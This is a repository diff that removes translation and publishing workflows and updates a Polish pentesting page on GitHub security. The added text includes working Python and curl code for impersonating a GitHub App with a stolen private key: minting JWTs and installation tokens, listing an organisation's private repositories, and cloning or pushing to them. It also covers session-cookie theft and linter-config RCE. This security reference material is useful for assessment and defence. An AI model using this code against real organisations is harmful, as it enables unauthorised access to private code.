-jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Swahili - BRANCH: sw - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_tr.yml b/.github/workflows/translate_tr.yml deleted file mode 100644 index f3c5359c1..000000000 --- a/.github/workflows/translate_tr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to TR (Turkish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: tr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Turkish - BRANCH: tr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_uk.yml b/.github/workflows/translate_uk.yml deleted file mode 100644 index 293f113e2..000000000 --- a/.github/workflows/translate_uk.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to UK (Ukranian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: uk - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Ukranian - BRANCH: uk - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_zh.yml b/.github/workflows/translate_zh.yml deleted file mode 100644 index 76f12ba6a..000000000 --- a/.github/workflows/translate_zh.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ZH (Chinese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: zh - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Chinese - BRANCH: zh - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index bb2e91a74..31d9aff29 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -17,8 +17,8 @@ basic-github-information.md Repozytoria Github mogą być skonfigurowane jako publiczne, prywatne i wewnętrzne. - **Prywatne** oznacza, że **tylko** osoby z **organizacji** będą mogły uzyskać do nich dostęp -- **Wewnętrzne** oznacza, że **tylko** osoby z **przedsiębiorstwa** (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do nich dostęp -- **Publiczne** oznacza, że **cały internet** będzie mógł uzyskać do nich dostęp. +- **Wewnętrzne** oznacza, że **tylko** osoby z **przedsiębiorstwa** (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do niego dostęp +- **Publiczne** oznacza, że **wszyscy w internecie** będą mogli uzyskać do niego dostęp. W przypadku, gdy znasz **użytkownika, repozytorium lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repozytorium**. @@ -38,20 +38,14 @@ Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania Narzędzia (każde narzędzie zawiera swoją listę regexów): -- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) -- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) -- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) -- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) -- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets) -- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks) -- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) +Sprawdź tę stronę: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)** > [!WARNING] > Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety! ### Zewnętrzne forki -Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby dowiedzieć się, czy repozytorium jest podatne, musisz głównie przeczytać pliki konfiguracyjne Github Actions yaml. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork). +Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać konfiguracje yaml Github Actions. [**Więcej informacji na ten temat poniżej**](#execution-from-a-external-fork). ### Github Leaks w usuniętych/wewnętrznych forkach @@ -61,24 +55,24 @@ Nawet jeśli są usunięte lub wewnętrzne, może być możliwe uzyskanie wrażl accessible-deleted-data-in-github.md {{#endref}} -## Wzmocnienie organizacji +## Wzmacnianie organizacji ### Uprawnienia członków -Istnieją pewne **domyślne uprawnienia**, które mogą być przypisane do **członków** organizacji. Można je kontrolować z strony `https://github.com/organizations//settings/member_privileges` lub z [**API organizacji**](https://docs.github.com/en/rest/orgs/orgs). +Istnieją pewne **domyślne uprawnienia**, które mogą być przypisane do **członków** organizacji. Można je kontrolować z strony `https://github.com/organizations//settings/member_privileges` lub z [**API Organizacji**](https://docs.github.com/en/rest/orgs/orgs). - **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zaleca się **None** lub **Read**. - **Forkowanie repozytoriów**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na forkowanie repozytoriów organizacji. - **Tworzenie stron**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na publikowanie stron z repozytoriów organizacji. Jeśli to konieczne, możesz pozwolić na tworzenie publicznych lub prywatnych stron. -- **Prośby o dostęp do integracji**: Po włączeniu tej opcji zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć. -- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_ -- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z uprawnieniami **admin** do **repozytorium** będą mogli **zmieniać jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie publikowali rzeczy **publicznie**, upewnij się, że to jest **wyłączone**. -- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_ -- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z uprawnieniami **admin** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**. -- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_ -- **Pozwól członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej, aby to było wyłączone. -- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_ -- **Więcej rzeczy można skonfigurować** na tej stronie, ale poprzednie są najbardziej związane z bezpieczeństwem. +- **Prośby o dostęp do integracji**: Po włączeniu tego, zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ +- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmieniać jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie publikowali rzeczy **publicznie**, upewnij się, że to jest **wyłączone**. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ +- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z **uprawnieniami admina** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ +- **Pozwól członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej jest to wyłączyć. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ +- **Więcej rzeczy można skonfigurować** na tej stronie, ale poprzednie są bardziej związane z bezpieczeństwem. ### Ustawienia akcji @@ -90,17 +84,17 @@ Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z - **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflow i które workflow powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) - **Workflow pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników. -- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli je masz_ -- **Uruchamianie workflow z pull requestów**: Jest **wysoce odradzane uruchamianie workflow z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym. -- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli je masz_ -- **Uprawnienia workflow**: Zdecydowanie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflow. +- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_ +- **Uruchamianie workflow z pull requestów**: Jest to wysoce **odradzane uruchamianie workflow z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym. +- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_ +- **Uprawnienia workflow**: Zdecydowanie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużycia GITHUB_TOKEN przyznawanego do uruchamiania workflow. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integracje _Daj mi znać, jeśli znasz punkt końcowy API, aby uzyskać te informacje!_ -- **Polityka dostępu aplikacji zewnętrznych**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie). +- **Polityka dostępu aplikacji stron trzecich**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie). - **Zainstalowane aplikacje GitHub**: Zaleca się zezwolenie tylko na te potrzebne (po ich przeglądzie). ## Rozpoznanie i ataki nadużywające poświadczeń @@ -111,12 +105,12 @@ W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github. Jeśli w jakiś sposób masz już poświadczenia dla użytkownika w organizacji, możesz **po prostu się zalogować** i sprawdzić, jakie **role przedsiębiorstwa i organizacji masz**, jeśli jesteś zwykłym członkiem, sprawdź, jakie **uprawnienia mają zwykli członkowie**, w jakich **grupach** jesteś, jakie **uprawnienia masz** do jakich **repozytoriów** i **jak są chronione repozytoria**. -Zauważ, że **2FA może być używane**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**. +Zauważ, że **2FA może być używane**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz ten test**. > [!NOTE] -> Zauważ, że jeśli **uda ci się ukraść cookie `user_session`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania poświadczeń lub 2FA. +> Zauważ, że jeśli **uda ci się ukraść ciasteczko `user_session`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania poświadczeń lub 2FA. -Sprawdź sekcję poniżej o [**obejściach ochrony gałęzi**](./#branch-protection-bypass), jeśli to będzie przydatne. +Sprawdź sekcję poniżej o [**obejściach ochrony gałęzi**](#branch-protection-bypass), jeśli to może być przydatne. ### Z kluczem SSH użytkownika @@ -130,7 +124,7 @@ git config --list ``` Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika github, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** na swoim koncie w _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty. -**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi. +**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchamiać projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi. #### Klucze GPG @@ -142,7 +136,7 @@ gpg --list-secret-keys --keyid-format=long ``` ### Z tokenem użytkownika -Aby uzyskać wprowadzenie do [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens). +Aby uzyskać wprowadzenie na temat [**tokenów użytkownika, sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens). Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień, możesz być w stanie wykonać różne akcje. @@ -150,51 +144,201 @@ Token użytkownika wygląda tak: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` ### Z aplikacją Oauth -Aby uzyskać wprowadzenie do [**Aplikacji Oauth Github sprawdź podstawowe informacje**](basic-github-information.md#oauth-applications). +Aby uzyskać wprowadzenie na temat [**aplikacji Oauth Github, sprawdź podstawowe informacje**](basic-github-information.md#oauth-applications). Atakujący może stworzyć **złośliwą aplikację Oauth**, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej. To są [zakresy, o które może prosić aplikacja Oauth](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Zawsze należy sprawdzić żądane zakresy przed ich zaakceptowaniem. -Ponadto, jak wyjaśniono w podstawowych informacjach, **organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich** do informacji/repos/akcji związanych z organizacją. +Ponadto, jak wyjaśniono w podstawowych informacjach, **organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich** do informacji/repozytoriów/akcji związanych z organizacją. ### Z aplikacją Github -Aby uzyskać wprowadzenie do [**Aplikacji Github sprawdź podstawowe informacje**](basic-github-information.md#github-applications). +Aby uzyskać wprowadzenie na temat [**aplikacji Github, sprawdź podstawowe informacje**](basic-github-information.md#github-applications). Atakujący może stworzyć **złośliwą aplikację Github**, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej. -Ponadto, jak wyjaśniono w podstawowych informacjach, **organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich** do informacji/repos/akcji związanych z organizacją. +Ponadto, jak wyjaśniono w podstawowych informacjach, **organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich** do informacji/repozytoriów/akcji związanych z organizacją. + +#### Podszywanie się pod aplikację GitHub za pomocą jej klucza prywatnego (JWT → tokeny dostępu do instalacji) + +Jeśli uzyskasz klucz prywatny (PEM) aplikacji GitHub, możesz w pełni podszyć się pod aplikację we wszystkich jej instalacjach: + +- Wygeneruj krótkoterminowy JWT podpisany kluczem prywatnym +- Wywołaj REST API aplikacji GitHub, aby enumerować instalacje +- Wytwórz tokeny dostępu na poziomie instalacji i użyj ich do listowania/klonowania/pushowania do repozytoriów przyznanych tej instalacji + +Wymagania: +- Klucz prywatny aplikacji GitHub (PEM) +- ID aplikacji GitHub (numeryczne). GitHub wymaga, aby iss było ID aplikacji + +Utwórz JWT (RS256): +```python +#!/usr/bin/env python3 +import time, jwt + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) + +def gen_jwt(): +now = int(time.time()) +payload = { +"iat": now - 60, +"exp": now + 600 - 60, # ≤10 minutes +"iss": APP_ID, +} +return jwt.encode(payload, signing_key, algorithm="RS256") +``` +Lista instalacji dla uwierzytelnionej aplikacji: +```bash +JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456) + +curl -sS -H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations +``` +Utwórz token dostępu do instalacji (ważny ≤ 10 minut): +```bash +INSTALL_ID=12345678 +curl -sS -X POST \ +-H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations/$INSTALL_ID/access_tokens +``` +Użyj tokena, aby uzyskać dostęp do kodu. Możesz klonować lub przesyłać za pomocą formatu URL x‑access‑token: +```bash +TOKEN=ghs_... +REPO=owner/name +git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git +# push works if the app has contents:write on that repository +``` +Programowy PoC do celowania w konkretną organizację i wylistowania prywatnych repozytoriów (PyGithub + PyJWT): +```python +#!/usr/bin/env python3 +import time, jwt, requests +from github import Auth, GithubIntegration + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) +ORG = "someorg" + +def gen_jwt(): +now = int(time.time()) +payload = {"iat": now-60, "exp": now+540, "iss": APP_ID} +return jwt.encode(payload, signing_key, algorithm="RS256") + +auth = Auth.AppAuth(APP_ID, signing_key) +GI = GithubIntegration(auth=auth) +installation = GI.get_org_installation(ORG) +print(f"Installation ID: {installation.id}") + +jwt_tok = gen_jwt() +r = requests.post( +f"https://api.github.com/app/installations/{installation.id}/access_tokens", +headers={ +"Accept": "application/vnd.github+json", +"Authorization": f"Bearer {jwt_tok}", +"X-GitHub-Api-Version": "2022-11-28", +}, +) +access_token = r.json()["token"] + +print("--- repos ---") +for repo in installation.get_repos(): +print(f"* {repo.full_name} (private={repo.private})") +clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git" +print(clone_url) +``` +Notatki: +- Tokeny instalacji dziedziczą dokładnie uprawnienia na poziomie repozytorium aplikacji (na przykład, contents: write, pull_requests: write) +- Tokeny wygasają w ≤10 minut, ale nowe tokeny mogą być generowane w nieskończoność, o ile zachowasz klucz prywatny +- Możesz również enumerować instalacje za pomocą REST API (GET /app/installations) używając JWT ## Kompromitacja i nadużycie Github Action -Istnieje kilka technik, aby skompromitować i nadużywać Github Action, sprawdź je tutaj: +Istnieje kilka technik kompromitacji i nadużycia Github Action, sprawdź je tutaj: {{#ref}} abusing-github-actions/ {{#endref}} -## Ominięcie ochrony gałęzi +## Nadużywanie aplikacji GitHub osób trzecich uruchamiających zewnętrzne narzędzia (RCE rozszerzenia Rubocop) -- **Wymagaj liczby zatwierdzeń**: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska **Github Action** w repozytorium, używając **GITHUB_TOKEN**, możesz być w stanie **zatwierdzić swój PR** i w ten sposób uzyskać 1 zatwierdzenie. -- _Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._ +Niektóre aplikacje GitHub i usługi przeglądania PR wykonują zewnętrzne lintery/SAST przeciwko pull requestom, używając plików konfiguracyjnych kontrolowanych przez repozytorium. Jeśli obsługiwane narzędzie pozwala na dynamiczne ładowanie kodu, PR może osiągnąć RCE na runnerze usługi. + +Przykład: Rubocop wspiera ładowanie rozszerzeń z jego konfiguracji YAML. Jeśli usługa przekazuje plik .rubocop.yml dostarczony przez repozytorium, możesz wykonać dowolny kod Ruby, wymagając lokalnego pliku. + +- Warunki wyzwalające zazwyczaj obejmują: +- Narzędzie jest włączone w usłudze +- PR zawiera pliki, które narzędzie rozpoznaje (dla Rubocop: .rb) +- Repozytorium zawiera plik konfiguracyjny 